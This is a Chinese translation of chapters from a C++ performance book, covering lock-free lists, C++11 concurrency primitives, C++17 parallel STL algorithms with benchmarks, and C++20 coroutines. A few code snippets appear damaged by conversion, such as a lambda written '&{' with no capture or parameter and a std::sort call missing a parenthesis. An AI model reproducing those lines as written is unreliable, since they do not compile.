我们不打算展示无锁列表与锁保护列表的任何基准测试,因为这些基准测试必须特定于应用程序。如果只对列表头部进行插入和删除(push_front()pop_front()),自旋锁保护的列表将更快(原子共享指针不便宜)。另一方面,如果同时进行插入和搜索的基准测试,你可以使无锁列表更快,速度可以快到你想要的程度:在锁保护的列表上进行 1M 元素的遍历,同时锁定整个时间,而无锁列表可以在每个线程上同时进行迭代、插入和删除。无论原子指针有多慢,如果你只是让它变得足够长,无锁列表就会更快。这不是一个无端的观察:你的应用程序可能需要执行需要长时间锁定列表的操作,除非你可以以某种方式分区列表以避免死锁。如果这是你需要做的,无锁列表是迄今为止最快的。另一方面,如果你只需要遍历几个元素,而且从不在多个不同的位置同时进行遍历,锁保护的列表就可以胜任。

A-B-A 问题和我们列出的解决方案不仅适用于列表,还适用于所有节点数据结构:双向链表、树和图。在由多个指针连接的数据结构中,你可能会遇到额外的问题。首先,即使所有指针都是原子的,连续更改两个原子指针不是一个原子操作。这会导致数据结构中的临时不一致:例如,你可能期望从一个节点到下一个节点,然后返回到上一个节点会让你回到原始节点。在并发情况下,这并不总是正确的:如果在这个位置插入或删除一个节点,其中一个指针可能会在另一个之前更新。第二个问题是特定于共享指针或任何其他使用引用计数的实现:如果数据结构具有指针循环,即使没有外部引用,循环中的节点也不会被删除。最简单的例子是双向链表,其中两个相邻节点总是互相指向。在单线程程序中解决这个问题的方法是使用弱指针(在双向链表中,所有next指针可以是共享的,所有previous指针则是弱的)。这在并发程序中效果不佳:整个重点是延迟内存的释放,直到没有对它的引用,而弱指针无法做到这一点。对于这些情况,可能需要额外的垃圾回收:在最后一个外部指针指向一个节点被删除后,我们必须遍历链接的节点并检查是否有任何外部指针指向它们(我们可以通过检查引用计数来做到这一点)。没有外部指针的列表片段可以安全地删除。对于这样的数据结构,可能更倾向于使用替代方法,如危险指针或显式垃圾回收。读者应参考专门的关于无锁编程的出版物,以获取有关这些方法的更多信息。

这就结束了我们对并发编程高性能数据结构的探讨。现在让我们总结一下我们学到的东西。

总结

本章最重要的教训是为并发设计数据结构很困难,你应该抓住每一个机会来简化它。对数据结构使用特定于应用程序的限制可以使它们变得更简单和更快。

你必须做出的第一个决定是你的代码的哪些部分需要线程安全,哪些不需要。通常,最好的解决方案是为每个线程提供自己的数据来处理:单个线程使用的任何数据根本不需要考虑线程安全。当这不是一个选择时,寻找其他特定于应用程序的限制:你是否有多个线程修改特定的数据结构?如果只有一个写入线程,实现通常会更简单。是否有任何应用程序特定的保证可以利用?你是否事先知道数据结构的最大大小?你是否需要同时从数据结构中删除数据和添加数据,还是可以将这些操作分开进行?是否有明确定义的时期,某些数据结构不会发生变化?如果是这样,你就不需要同步来读取它们。这些以及许多其他特定于应用程序的限制可以用来极大地提高数据结构的性能。

第二个重要的决定是:你将支持数据结构上的哪些操作?重新陈述上一段的另一种方式是“实现最小必要的接口”。你实现的任何接口都必须是事务性的:每个操作对于数据结构的任何状态都必须有明确定义的行为。如果某个操作仅在数据结构处于某种状态时有效,除非调用方使用客户端锁定将多个操作组合成单个事务(在这种情况下,这些操作应该从一开始就是一个操作),否则不能在并发程序中安全地调用。

本章还教授了实现不同类型数据结构的几种方法,以及估计和评估它们性能的方法。最终,准确的性能测量只能在实际应用和实际数据的情况下获得。然而,在开发和评估潜在替代方案时,有用的近似基准可以节省大量时间。

本章总结了我们对并发性的探索。接下来,我们将学习 C++语言本身如何影响我们程序的性能。

问题

  1. 设计用于线程安全的数据结构接口的最关键特性是什么?

  2. 为什么具有有限功能的数据结构通常比它们的通用变体更有效?

  3. 无锁数据结构是否总是比基于锁的数据结构更快?

  4. 在并发应用程序中管理内存的挑战是什么?

  5. A-B-A 问题是什么?

第八章:C++中的并发

本章的目的是描述最近添加到语言中的并发编程功能:在 C++17 和 C++20 标准中。虽然现在讨论使用这些功能以获得最佳性能的最佳实践还为时过早,但我们可以描述它们的功能,以及编译器支持的当前状态。

在本章中,我们将涵盖以下主要主题:

  • 在 C++11 中将并发引入 C++语言

  • C++17 中的并行 STL 算法

  • C++20 中的协程

阅读完本章后,您将了解 C++提供的功能,以帮助编写并发程序。本章并不意味着是 C++并发功能的全面手册,而是对可用语言设施的概述,作为您进一步探索感兴趣主题的起点。

技术要求

如果您想尝试最近 C++版本提供的语言功能,您将需要一个非常现代的编译器。对于某些功能,您可能还需要安装其他工具;当我们描述特定的语言功能时,我们会指出这一点。本章附带的代码可以在github.com/PacktPublishing/The-Art-of-Writing-Efficient-Programs/tree/master/Chapter08找到。

C++11 中的并发支持

在 C++11 之前,C++标准没有提及并发。当然,在实践中,程序员在 2011 年之前就已经使用 C++编写了多线程和分布式程序。这是可能的原因是编译器编写者自愿采用了额外的限制和保证,通常是通过遵守 C++标准(用于语言)和其他标准(如 POSIX)来支持并发。

C++11 通过引入C++内存模型改变了这一点。内存模型描述了线程如何通过内存进行交互。这是 C++语言首次在并发方面有了坚实的基础。然而,其直接实际影响相当有限,因为新的 C++内存模型与大多数编译器编写者已经支持的内存模型非常相似。这些模型之间存在一些微妙的差异,新标准最终保证了遇到这些黑暗角落的程序的可移植行为。

更直接的实际用途是几种直接支持多线程的语言特性。首先,标准引入了线程的概念。关于线程行为的保证明显很少,但大多数实现通常使用系统线程来支持 C++线程。这在实现的最低级别是可以的,但对于除了最简单的程序之外的任何程序都不够。例如,试图为程序必须执行的每个独立任务创建一个新线程几乎肯定会失败:启动新线程需要时间,很少有操作系统能够有效地处理数百万个线程。另一方面,对于实现其线程调度程序的程序员来说,C++线程接口并不提供足够对线程行为的控制(大多数线程属性是特定于操作系统的)。

接下来,标准引入了几种用于控制并发访问内存的同步原语。语言提供了std::mutex,通常使用常规系统互斥量实现:在 POSIX 平台上,这通常是 POSIX 互斥量。标准提供了互斥量的定时和递归变体(再次遵循 POSIX)。为了简化异常处理,应避免直接锁定和解锁互斥量,而应优先使用 RAII 模板std::lock_guard

为了安全地锁定多个互斥锁,而不会出现死锁的风险,标准提供了std::lock()函数(虽然它保证不会出现死锁,但它使用的算法是未指定的,特定实现的性能差异很大)。另一个常用的同步原语是条件变量,std::condition_variable,以及相应的等待和信号操作。这个功能也非常接近对应的 POSIX 特性。

然后,还有对低级原子操作的支持:std::atomic,比如比较和交换,以及内存顺序说明符。我们已经在《第五章》、《线程、内存和并发》、《第六章》、《并发和性能》和《第七章》、《并发数据结构》中介绍了它们的行为和应用。

最后,该语言增加了对异步执行的支持:可以使用std::async异步调用函数(可能在另一个线程上)。虽然这可能会实现并发编程,但实际上,这个特性对于高性能应用几乎是完全无用的。大多数实现要么提供非常有限的并行性,要么在自己的线程上执行每个异步函数调用。大多数操作系统创建和加入线程的开销相当高(我见过的唯一一个使并发编程变得像“为每个任务启动一个线程,如果需要的话,可以有数百万个”简单的操作系统是 AIX,在我知道的其他操作系统上,这是一种混乱的做法)。

总的来说,可以说,就并发而言,C++11 在概念上是一个重大的进步,但在实际上提供了适度的即时实际收益。C++14 的改进集中在其他地方,因此在并发方面没有什么值得注意的变化。接下来,我们将看看 C++17 带来了哪些新的发展。

C++17 中的并发支持

C++17 带来了一个重大进步和几个与并发相关的次要调整。让我们先快速介绍后者。在 C++11 中引入的std::lock()函数现在有了相应的 RAII 对象,std::scoped_lock。另外,添加了一个共享互斥锁,std::shared_mutex,也称为读-写互斥锁(再次匹配相应的 POSIX 特性)。这个互斥锁允许多个线程继续进行,只要它们不需要对锁定资源进行独占访问。通常,这些线程执行只读操作,而写线程需要独占访问,因此称为读-写锁。这在理论上是一个聪明的想法,但大多数实现的性能都很差。

值得注意的是一个新特性,可以可移植地确定 L1 缓存的缓存行大小,std::hardware_destructive_interference_sizestd::hardware_constructive_interference_size。这些常量有助于创建避免伪共享的缓存最优数据结构。

现在我们来到了 C++17 中的主要新特性——std::for_each

std::vector<double> v;
… add data to v … 
std::for_each(v.begin(), v.end(),[](double& x){ ++x; });

在 C++17 中,我们可以要求库在所有可用的处理器上并行进行这个计算:

std::vector<double> v;
… add data to v … 
std::for_each(std::execution::par,
              v.begin(), v.end(),[](double& x){ ++x; });

STL 算法的并行版本有一个新的第一个参数:执行策略。请注意,执行策略不是单一类型,而是一个模板参数。标准提供了几种执行策略;我们之前使用的并行策略std::execution::par允许算法在多个线程上执行。线程的数量以及计算在线程内的分区方式是未指定的,取决于实现。顺序策略std::execution::seq在单个线程上执行算法,就像没有任何策略(或在 C++17 之前)执行的方式一样。

还有一个并行的无序策略,std::execution::par_unseq。两种并行策略之间的区别微妙但很重要。标准规定,无序策略允许计算在单个线程内交错进行,这允许额外的优化,比如矢量化。但是优化编译器可以在生成机器代码时使用矢量指令,比如 AVX,并且这是在没有源 C++代码的帮助下完成的:编译器只是找到矢量化机会,并用矢量指令替换常规的单字指令。那么这里有什么不同呢?

要理解无序策略的性质,我们必须考虑一个更复杂的例子。假设我们不仅仅是对每个元素进行操作,而是要进行一些使用共享数据的计算:

double much_computing(double x);
std::vector<double> v;
… add data to v … 
double res = 0;
std::mutex res_lock;
std::for_each(std::execution::par, v.begin(), v.end(),
  &{ 
    double term = much_computing(x);
    std::lock_guard guard(res_lock);
    res += term;
  });

在这里,我们对每个向量元素进行一些计算,然后累加结果的总和。计算本身可以并行进行,但累加必须受到锁的保护,因为所有线程都会增加相同的共享变量res。并行执行策略是安全的,多亏了锁。然而,我们不能在这里使用无序策略:如果同一个线程同时处理多个向量元素(交错),它可能会尝试多次获取相同的锁。这是一个保证的死锁:如果一个线程持有锁并尝试再次锁定它,第二次尝试将被阻塞,线程无法继续到达解锁锁的点。标准称我们最后一个示例的代码为不安全的矢量化,并且规定不应该在无序策略下使用这样的代码。

现在我们已经了解了并行算法在理论上是如何工作的,那么在实践中呢?简短的答案是相当好,但有一些注意事项。继续阅读详细版本。

在实践中检查并行算法之前,您必须做一些准备工作来准备您的构建环境。通常,要编译 C++程序,您只需要安装所需的编译器版本,比如 GCC,然后就可以开始了。但是并行算法不是这样。在撰写本书时,安装过程有些繁琐。

足够新的 GCC 和 Clang 版本包括并行 STL 头文件(在某些安装中,Clang 需要安装 GCC,因为它使用由 GCC 提供的并行 STL)。问题出现在更低的层次。这两个编译器使用的运行时线程系统是英特尔线程构建块TBB),它作为一个带有自己一套头文件的库提供。两个编译器都没有在其安装中包含 TBB。更复杂的是,每个编译器版本都需要相应版本的 TBB:旧版本和更近版本都不起作用(失败可能会在编译和链接时都表现出来)。要运行与 TBB 链接的程序,您可能需要将 TBB 库添加到库路径中。

一旦你解决了所有这些问题并配置了编译器和必要库的工作安装,使用并行算法就不比使用任何 STL 代码更难。那么,它的扩展性如何?我们可以运行一些基准测试。

让我们从std::for_each开始,没有任何锁,并且对每个元素进行了大量的计算(函数work()很昂贵,对于我们目前关注的扩展性来说,确切的操作并不重要):

std::vector<double> v(N);
std::for_each(std::execution::par,
              v.begin(), v.end(),[](double& x){ work(x); });

以下是在 2 个线程上运行的顺序与并行版本的性能:

图 8.1 - 在 2 个 CPU 上并行 std::foreach 的基准测试

图 8.1 - 在 2 个 CPU 上并行 std::foreach 的基准测试

扩展性并不差。请注意,向量大小N相当大,有 32K 个元素。对于更大的向量,扩展性确实有所提高。但是,对于相对较小的数据量,并行算法的性能非常差:

图 8.2 - 用于短序列的并行 std::foreach 的基准测试

图 8.2-并行 std::foreach 进行短序列的基准

对于 1024 个元素的向量,并行版本比顺序版本慢。原因是执行策略在每个并行算法的开始时启动所有线程,并在结束时加入它们。启动新线程需要显着的时间,因此当计算很短时,开销会压倒并行性带来的任何加速。这不是标准强加的要求,而是 GCC 和 Clang 当前实现的并行 STL 与 TBB 系统交互的方式。

当然,并行算法改善性能的大小取决于硬件、编译器及其并行实现,以及每个元素的计算量。例如,我们可以尝试一个非常简单的每个元素计算:

std::for_each(std::execution::par,
              v.begin(), v.end(),[](double& x){ ++x; });

现在处理相同的 32K 元素向量不显示并行性的好处:

图 8.3-并行 std::foreach 进行廉价的每个元素计算的基准

图 8.3-并行 std::foreach 进行廉价的每个元素计算的基准

对于更大的向量大小,除非内存访问速度限制了单线程和多线程版本的性能(这是一个非常受内存限制的计算),并行算法可能会领先。

也许更令人印象深刻的是更难并行化的算法的性能,比如std::sort

std::vector<double> v(N);
std::sort(std::execution::par, v.begin(), v.end();

这是它的输出:

图 8.4-并行 std::sort 的基准

图 8.4-并行 std::sort 的基准

再次,我们需要足够大量的数据才能使并行算法变得有效(对于 1024 个元素,单线程排序更快)。这是一个非常显著的成就:排序不是最容易并行化的算法,而双精度浮点数的每个元素计算(比较和交换)非常便宜。尽管如此,并行算法显示出非常好的加速,并且如果元素比较更昂贵,它会变得更好。

您可能想知道并行 STL 算法如何与您的线程交互,也就是说,如果同时在两个线程上运行两个并行算法会发生什么?首先,与在多个线程上运行的任何代码一样,您必须确保线程安全(在同一容器上并行运行两个排序无论使用哪种排序都是一个坏主意)。除此之外,您会发现多个并行算法可以很好地共存,但您无法控制作业调度:它们中的每一个都会尝试在所有可用的 CPU 上运行,因此它们会竞争资源。取决于每个算法的扩展性如何,您可能会或可能不会通过并行运行多个算法来获得更高的整体性能。

总的来说,我们可以得出结论,当它们在足够大的数据量上操作时,STL 算法的并行版本提供非常好的性能,尽管“足够大”取决于特定的计算。可能需要额外的库来编译和运行使用并行算法的程序,并且配置这些库可能需要一些努力和实验。此外,并非所有 STL 算法都有其并行等价物(例如,std::accumulate没有)。

....

我们现在准备翻动日历上的几页,并跳到 C++20。

C++20 中的并发支持

C++20 在现有并发支持中增加了一些增强功能,但我们将专注于主要的新添加:协程。协程通常是可以中断和恢复的函数。它们在几个主要应用中非常有用:它们可以极大地简化编写事件驱动程序,对于工作窃取线程池几乎是不可避免的,而且它们使编写异步 I/O 和其他异步代码变得更加容易。

协程的基础

有两种风格的协程:堆栈式无堆栈式。堆栈式协程有时也被称为纤程;它们类似于函数,它们的状态是在堆栈上分配的。无堆栈式协程没有对应的堆栈分配,它们的状态存储在堆上。一般来说,堆栈式协程更强大和灵活,但无堆栈式协程要高效得多。

在本书中,我们将专注于无堆栈式协程,因为这是 C++20 支持的。这是一个足够不寻常的概念,我们需要在展示 C++特定的语法和示例之前进行解释。

一个普通的 C++函数总是有一个对应的堆栈帧。这个堆栈帧存在的时间与函数运行的时间一样长,这就是所有局部变量和其他状态存储的地方。这里有一个简单的函数f()

void f() {
  …
}

它有一个对应的堆栈帧。函数f()可能调用另一个函数g()

void g() {
  …
}
void f() {
  …
  g();
  …
}

函数g()在运行时也有一个堆栈帧。

参考以下图表:

图 8.5 – 普通函数的堆栈帧

图 8.5 – 普通函数的堆栈帧

当函数g()退出时,它的堆栈帧被销毁,只剩下函数f()的帧。

相比之下,无堆栈式协程的状态不是存储在堆栈上而是存储在堆上:这种分配被称为激活帧。激活帧与协程句柄相关联,它是一个充当智能指针的对象。可以进行函数调用和返回,但只要句柄没有被销毁,激活帧就会持续存在。

协程也需要堆栈空间,例如,如果它调用其他函数。这个空间是在调用者的堆栈上分配的。它是如何工作的(真正的 C++语法不同,所以现在把与协程相关的行当作伪代码来考虑):

void g() {
  …
}
void coro() { // coroutine
  …
  g();
  …
}
void f() {
  …
  std::coroutine_handle<???> H; // Not the real syntax
  coro();
  …
}

相应的内存分配如下图所示:

图 8.6 – 协程调用

图 8.6 – 协程调用

函数f()创建一个协程句柄对象,它拥有激活帧。然后调用协程函数coro()。在这一点上有一些堆栈分配,特别是协程在堆栈上存储它如果被挂起时将返回的地址(记住协程是可以自己挂起的函数)。协程可以调用另一个函数g(),它在堆栈上分配g()的堆栈帧。在这一点上,协程不能再挂起自己:只能从协程函数的顶层挂起。函数g()无论是谁调用它都会以相同的方式运行,并最终返回,销毁它的堆栈帧。现在协程可以挂起自己,所以让我们假设它这样做了。

这是堆栈式和无堆栈式协程之间的关键区别:堆栈式协程可以在任何地方挂起,在任意深度的函数调用中恢复。但是这种灵活性在内存和特别是运行时方面代价很高:无堆栈式协程,由于它们有限的状态分配,要高效得多。

当一个协程挂起自己时,为了恢复它所需的状态的一部分被存储在激活帧中。然后协程的堆栈帧被销毁,控制返回给调用者,返回到协程被调用的地方。如果协程运行完成,同样也是这样,但是调用者有办法找出协程是挂起还是完成。

调用者继续执行并可能调用其他函数:

void h() {
  …
}
void coro() {…} // coroutine
void f() {
  …
  std::coroutine_handle<???> H; // Not the real syntax
  coro();
  h(); // Called after coro() is suspended
  …
}

现在内存分配如下:

图 8.7 – 协程被挂起,执行继续

图 8.7 – 协程被挂起,执行继续

请注意,协程没有对应于堆栈帧,只有堆分配的激活帧。只要句柄对象存在,协程就可以恢复。不一定是调用和恢复协程的相同函数;例如,如果函数h()可以访问句柄,它也可以恢复它:

void h(H) {
  H.resume(); // Not the real syntax
}
void coro() {…} // coroutine
void f() {
  …
  std::coroutine_handle<???> H; // Not the real syntax
  coro();
  h(H); // Called after coro() is suspended
  …
}

协程从暂停的地方恢复。它的状态从激活帧中恢复,任何必要的堆栈分配都会像往常一样发生:

图 8.8 - 协程从不同的函数中恢复

图 8.8 - 协程从不同的函数中恢复

最终,协程完成,并且句柄被销毁;这会释放与协程相关的所有内存。

以下是关于 C++20 协程的重要知识总结:

  • 协程是可以自行暂停的函数。这与操作系统暂停线程不同:协程的暂停是由程序员显式完成的(协作式多任务处理)。

  • 与关联堆栈帧的常规函数不同,协程具有句柄对象。只要句柄存在,协程状态就会持续存在。

  • 协程暂停后,控制权返回给调用者,继续以与协程完成相同的方式运行。

  • 协程可以从任何位置恢复;不一定是调用者本身。此外,协程甚至可以从不同的线程中恢复(我们将在本节后面看到一个示例)。协程从暂停点恢复并继续运行就好像什么都没发生(但可能在不同的线程上运行)。

现在让我们看看在真正的 C++中如何完成所有这些。

C++协程语法

现在让我们看看用于使用协程编程的 C++语言构造。

首要任务是获得支持此功能的编译器。GCC 和 Clang 的最新版本都支持协程,但不幸的是,方式不同。对于 GCC,需要 11 版或更高版本。对于 Clang,部分支持是在 10 版中添加的,并在后续版本中得到改进,尽管仍然是“实验性的”。

首先,为了编译协程代码,您需要在命令行上使用编译器选项(仅使用--std=c++20选项启用 C++20 是不够的)。对于 GCC,选项是-fcoroutines。对于 Clang,选项是-stdlib=libc++ -fcoroutines-ts。对于最新的 Visual Studio,除了/std:c++20之外,不需要任何选项。

然后,您需要包含协程头文件。在 GCC 和 Visual Studio 中(以及根据标准),头文件是#include <coroutine>,它声明的所有类都在命名空间std中。不幸的是,在 Clang 中,头文件是#include <experimental/coroutine>,命名空间是std::experimental

声明协程没有特殊的语法:协程在语法上只是常规的 C++函数。使它们成为协程的是使用暂停操作符co_await或其变体co_yield。然而,在函数体中调用其中一个操作符是不够的:C++中的协程对其返回类型有严格要求。标准库在声明这些返回类型和其他与协程一起工作的类方面没有提供帮助。语言只提供了一个用于使用协程的框架。因此,直接使用 C++20 构造的协程代码非常冗长、重复,并包含大量样板代码。实际上,所有使用协程的人都是使用几种可用的协程库。

对于实际编程,你也应该这样做。然而,在本书中,我们展示的例子是用的 C++编写的。我们这样做是因为我们不想引导你去使用特定的库,而且这样做会使人们对实际发生的事情的理解变得模糊。协程的支持非常新,库正在快速发展;你选择的库可能不会保持不变。我们希望你能理解 C++级别的协程代码,而不是特定库提供的抽象级别。然后你可以根据自己的需求选择一个库并使用它的抽象。

与协程相关的语法构造的彻底描述将非常不直观:它是一个框架,而不是一个库。因此,我们用例子来完成剩下的演示。如果你真的想知道协程的所有语法要求,你必须查阅最近的出版物(或者阅读标准)。但是例子应该给你足够的理解,让你可以查阅你喜欢的协程库的文档,并在你的程序中使用它。

协程示例

第一个例子可能是 C++中协程最常见的用法(也是标准提供了一些明确设计语法的用法)。我们将实现一个惰性生成器。生成器是生成数据序列的函数;每次调用生成器,都会得到序列的一个新元素。惰性生成器是一个按需计算元素的生成器,当调用时会计算元素。

这是一个基于 C++20 协程的惰性生成器:

generator<int> coro(){
  for (int i = 0;; ++i) {
    co_yield i;
  }
}
int main() {
  auto h = coro().h_;
  auto& promise = h.promise();
  for (int i = 0; i < 3; ++i) {
    std::cout << "counter: " << promise.value_ << 
      std::endl;
    h();
  }
  h.destroy();
}

正如承诺的那样,这是非常低级的 C++,你很少看到这样的代码,但它使我们能够解释所有的步骤。首先,协程coro()看起来像任何其他函数,除了co_yield操作符。这个操作符暂停协程并将值i返回给调用者。因为协程被暂停而不是终止,操作符可以被执行多次。就像任何其他函数一样,当控制流到达闭括号时,协程终止;在这一点上,它不能被恢复。可以通过调用co_return操作符(不应该使用常规的return操作符)在任何时候退出协程。

其次,协程的返回类型generator是一个我们即将定义的特殊类型。它对它有很多要求,这导致了冗长的样板代码(任何协程库都会为你预定义这样的类型)。我们已经可以看到generator包含一个嵌套的数据成员h_;那就是协程句柄。创建这个句柄也会创建激活帧。句柄与promise对象相关联;这与 C++11 的std::promise完全无关。事实上,它根本不是标准类型之一:我们必须根据标准中列出的一组规则来定义它。在执行结束时,句柄被销毁,这也会销毁协程状态。因此,句柄类似于指针。

最后,句柄是一个可调用对象。调用它会恢复协程,生成下一个值,并立即再次暂停,因为co_yield操作符在循环中。

所有这些都是通过定义协程的适当返回类型神奇地联系在一起的。就像 STL 算法一样,整个系统都受约定束缚:对于这个过程中涉及的所有类型都有期望,如果这些期望没有得到满足,某个地方将无法编译。现在让我们看看generator类型:

template <typename T> struct generator {
  struct promise_type {
    T value_ = -1;
    generator get_return_object() {
      using handle= std::coroutine_handle<promise_type>;
      return generator{handle::from_promise(*this)};
    }
    std::suspend_never initial_suspend() { return {}; }
    std::suspend_never final_suspend() noexcept { return 
      {}; }
    void unhandled_exception() {}
    std::suspend_always yield_value(T value) {
      value_ = value;
      return {};
    }
  };
  std::coroutine_handle<promise_type> h_;
};

首先,return类型不必从模板生成。我们可以只声明一个整数的生成器。通常,它是一个模板,参数化为生成序列中元素的类型。其次,名称generator在任何方面都不是特殊的:您可以将此类型命名为任何您想要的名称(大多数库提供类似的模板并将其称为generator)。另一方面,嵌套类型generator::promise_type 必须 被称为promise_type,否则程序将无法编译。通常,嵌套类型本身被称为其他名称,并且使用类型别名:

template <typename T> struct generator {
  struct promise { … };
  using promise_type = promise;
};

promise_type类型必须是generator类(或者一般来说,协程返回的任何类型)的嵌套类型。但promise类不一定是一个嵌套类:通常是这样,但也可以在外部声明。

强制的是promise类型的一组必需成员函数,包括它们的签名。请注意,其中一些成员函数声明为noexcept。这也是要求的一部分:如果省略了这个规范,程序将无法编译。当然,如果不需要声明为noexcept的任何函数不会抛出异常,也可以声明为这样。

这些必需函数的主体对于不同的生成器可能会更复杂。我们将简要描述每个函数的作用。

第一个非空函数get_return_object()是样板代码的一部分,通常看起来与之前的函数完全相同;此函数从一个句柄构造一个新的生成器,而句柄又是从一个 promise 对象构造的。编译器调用它来获取协程的结果。

第二个非空函数yield_value()在每次调用co_yield操作符时被调用;它的参数是co_yield的值。将值存储在 promise 对象中通常是协程将结果传递给调用者的方式。

当编译器第一次遇到co_yield时,将调用initial_suspend()函数。在协程通过co_return产生最后一个结果后,将调用final_suspend()函数;之后无法再暂停。如果协程在没有co_return的情况下结束,将调用return_void()方法。最后,如果协程抛出一个从其主体中逃逸的异常,将调用unhandled_exception()方法。您可以自定义这些方法,以便特殊处理每种情况,尽管这很少被使用。

现在我们看到了如何将所有这些联系在一起,为我们提供了一个惰性生成器。首先,创建协程句柄。在我们的示例中,我们没有保留generator对象,只保留了句柄。这不是必需的:我们可以保留generator对象,并在其析构函数中销毁句柄。协程运行直到遇到co_yield并暂停;控制权由调用者返回,而co_yield的返回值被捕获在 promise 中。调用程序检索此值,并通过调用句柄恢复协程。协程从被暂停的地方继续运行,直到下一个co_yield

我们的生成器可以永远运行(或者直到在我们的平台上达到最大整数值):序列永远不会结束。如果我们需要一个有限长度的序列,我们可以执行co_return或者在序列结束后退出循环。参考以下代码:

generator<int> coro(){
  for (int i = 0; i < 10; ++i) {
    co_yield i;
  }
}

现在我们有了一个包含 10 个元素的序列。在尝试恢复协程之前,调用者必须检查句柄成员函数done()的结果。

我们之前提到协程可以从代码中的任何位置恢复(当然是在被暂停后)。它甚至可以从不同的线程中恢复。在这种情况下,协程开始在一个线程上执行,被暂停,然后在另一个线程上运行其余的代码。让我们看一个例子:

task coro(std::jthread& t) {
  std::cout << "Coroutine started on thread: " <<
    std::this_thread::get_id() << '\n';
  co_await awaitable{t};
  std::cout << "Coroutine resumed on thread: " <<
    std::this_thread::get_id() << '\n';
  std::cout << "Coroutine done on thread: " <<
    std::this_thread::get_id() << '\n';
}
int main() {
  std::cout << "Main thread: " <<
    std::this_thread::get_id() << '\n';
  std::jthread t;
  coro(t);
  std::cout << "Main thread done: " << 
    std::this_thread::get_id() << std::endl;
}

首先,让我们解决一个细节:std::jthread是 C++20 的一个补充,它只是一个可连接的线程 - 它在对象的析构函数中连接(几乎所有使用线程的人都写过一个类似的东西,但现在我们有了一个标准的)。现在我们可以转向重要的部分 - 协程本身。

首先,让我们看看协程的返回类型:

struct task{
  struct promise_type {
    task get_return_object() { return {}; }
    std::suspend_never initial_suspend() { return {}; }
    std::suspend_never final_suspend() noexcept { return 
      {}; }
    void return_void() {}
    void unhandled_exception() {}
  };
};

实际上,这是协程的最小可能返回类型:它包含所有必需的样板代码,没有其他内容。具体来说,返回类型是一个定义了嵌套类型promise_type的类。该嵌套类型必须定义几个成员函数,如此代码所示。我们在前一个示例中的生成器类型具有所有这些内容以及用于将结果返回给调用者的一些数据。当然,任务也可以根据需要具有内部状态。

前一个示例的第二个变化是任务被挂起的方式:我们使用co_await而不是co_yield。操作符co_await实际上是挂起协程的最通用方式:就像co_yield一样,它挂起函数并将控制返回给调用者。不同之处在于参数类型:co_yield返回一个结果,而co_await的参数是具有非常一般功能的等待对象。再次,对这个对象的类型有特定要求。如果满足要求,该类被称为awaitable,并且该类型的对象是有效的等待者(如果不满足要求,某处将无法编译)。这是我们的awaitable

struct awaitable {
  std::jthread& t;
  bool await_ready() { return false; }
  void await_suspend(std::coroutine_handle<> h) {
    std::jthread& out = t;
    out = std::jthread([h] { h.resume(); });
  }
  void await_resume() {}
  ~awaitable() {}
  awaitable(std::jthread& t) : t(t) {}
};

awaitable的必需接口是我们在这里看到的三种方法。第一个是await_ready():在协程挂起后调用它。如果返回true,则协程的结果已准备就绪,实际上不需要挂起它。在实践中,它几乎总是返回false,这导致协程被挂起:协程的状态(例如局部变量和挂起点)存储在激活帧中,并且控制返回给调用者或恢复者。第二个函数是await_resume(),它在协程在恢复后继续执行之前调用。如果它返回结果,那就是整个co_await操作符的结果(在我们的示例中没有结果)。最有趣的函数是await_suspend()。当此协程被挂起时,它使用当前协程的句柄进行调用,并且可以具有几种不同的返回类型和值。如果它返回void,就像我们的示例中一样,协程被挂起,并且控制返回给调用者或恢复者。不要被我们示例中await_suspend()的内容所迷惑:它不会恢复协程。相反,它创建一个将执行可调用对象的新线程,而正是这个对象恢复了协程。协程可以在await_suspend()完成后或在其仍在运行时恢复:此示例演示了异步操作的协程使用。

将所有这些放在一起,我们得到以下顺序:

  1. 主线程调用一个协程。

  2. 协程被co_await操作符挂起。这个过程涉及对awaitable对象的几个成员函数的调用,其中一个创建了一个新线程,其有效负载恢复了协程(通过移动分配线程对象的游戏完成,因此我们在主程序中删除新线程并避免了一些讨厌的竞争条件)。

  3. 控制返回给协程的调用者,因此主线程继续从协程调用后的行继续运行。如果在协程完成之前主线程在对象t的析构函数中阻塞,它将在那里。

  4. 新线程恢复了协程,并从co_await后的行继续在该线程上执行。由co_await构造的awaitable对象被销毁。协程在第二个线程上运行到结束。到达协程的结尾意味着它完成了,就像任何其他函数一样。现在运行协程的线程可以被加入。如果主线程正在等待线程t的析构函数完成,现在它将解除阻塞并加入线程(如果主线程尚未达到析构函数,它在达到时不会阻塞)。

我们程序的输出确认了这个顺序:

Main thread: 140003570591552
Coroutine started on thread: 140003570591552
Main thread done: 140003570591552
Coroutine resumed on thread: 140003570587392
Coroutine done on thread: 140003570587392

如您所见,协程coro()首先在一个线程上运行,然后在执行过程中切换到另一个线程。如果有任何局部变量,它们将通过这个转换被保留。

我们提到co_await是用于挂起协程的通用操作符。的确,co_yield x操作符等同于co_await的特定调用,如下所示:

co_await promise.yield_value(x);

这里promise是与当前协程句柄关联的promise_type对象。之所以单独使用co_yield操作符,是因为在协程内部访问自己的 promise 会导致非常冗长的语法,因此标准添加了一个快捷方式。

这些示例展示了 C++中协程的能力。协程被认为有用的情况包括工作窃取(您已经看到将协程的执行轻松转移到另一个线程有多容易)、惰性生成器和异步操作(I/O 和事件处理)。尽管如此,C++协程还没有存在足够长的时间以形成任何模式,因此社区还没有提出使用协程的最佳实践。同样,现在讨论协程的性能还为时过早;我们必须等待编译器支持成熟和开发更大规模的应用程序。

总的来说,C++标准在多年忽视并发之后,正在迅速赶上,让我们总结一下最近的进展。

总结

C++11 是标准中首次承认线程存在的版本。它为记录 C++程序在并发环境中的行为奠定了基础,并在标准库中提供了一些有用的功能。在这些功能中,基本的同步原语和线程本身是最有用的。随后的版本通过相对较小的增强扩展和完善了这些功能。

C++17 带来了一个重大进步,即并行 STL。性能当然取决于实现。只要数据语料库足够大,即使在像搜索和分区这样难以并行化的算法上,观察到的性能也相当不错。然而,如果数据序列太短,并行算法实际上会降低性能。

C++20 增加了对协程的支持。您已经看到了无栈协程的工作原理,在理论上和一些基本示例中。然而,现在讨论 C++20 协程的性能和最佳实践还为时过早。

本章总结了我们对并发性的探索。接下来,我们将学习 C++语言本身如何影响程序的性能。

问题

  1. 为什么 C++11 中并发编程的基础很重要?

  2. 我们如何使用并行 STL 算法?

  3. 什么是协程?

第三部分:设计和编码高性能程序

在本节中,您将把迄今为止学到的知识应用于编写 C++程序的实践中。您将学习哪些语言特性有助于实现更好的性能,哪些可能导致意想不到的低效,并且如何帮助编译器生成更好的目标代码。最后,您将学习以性能为重点设计程序的艺术。

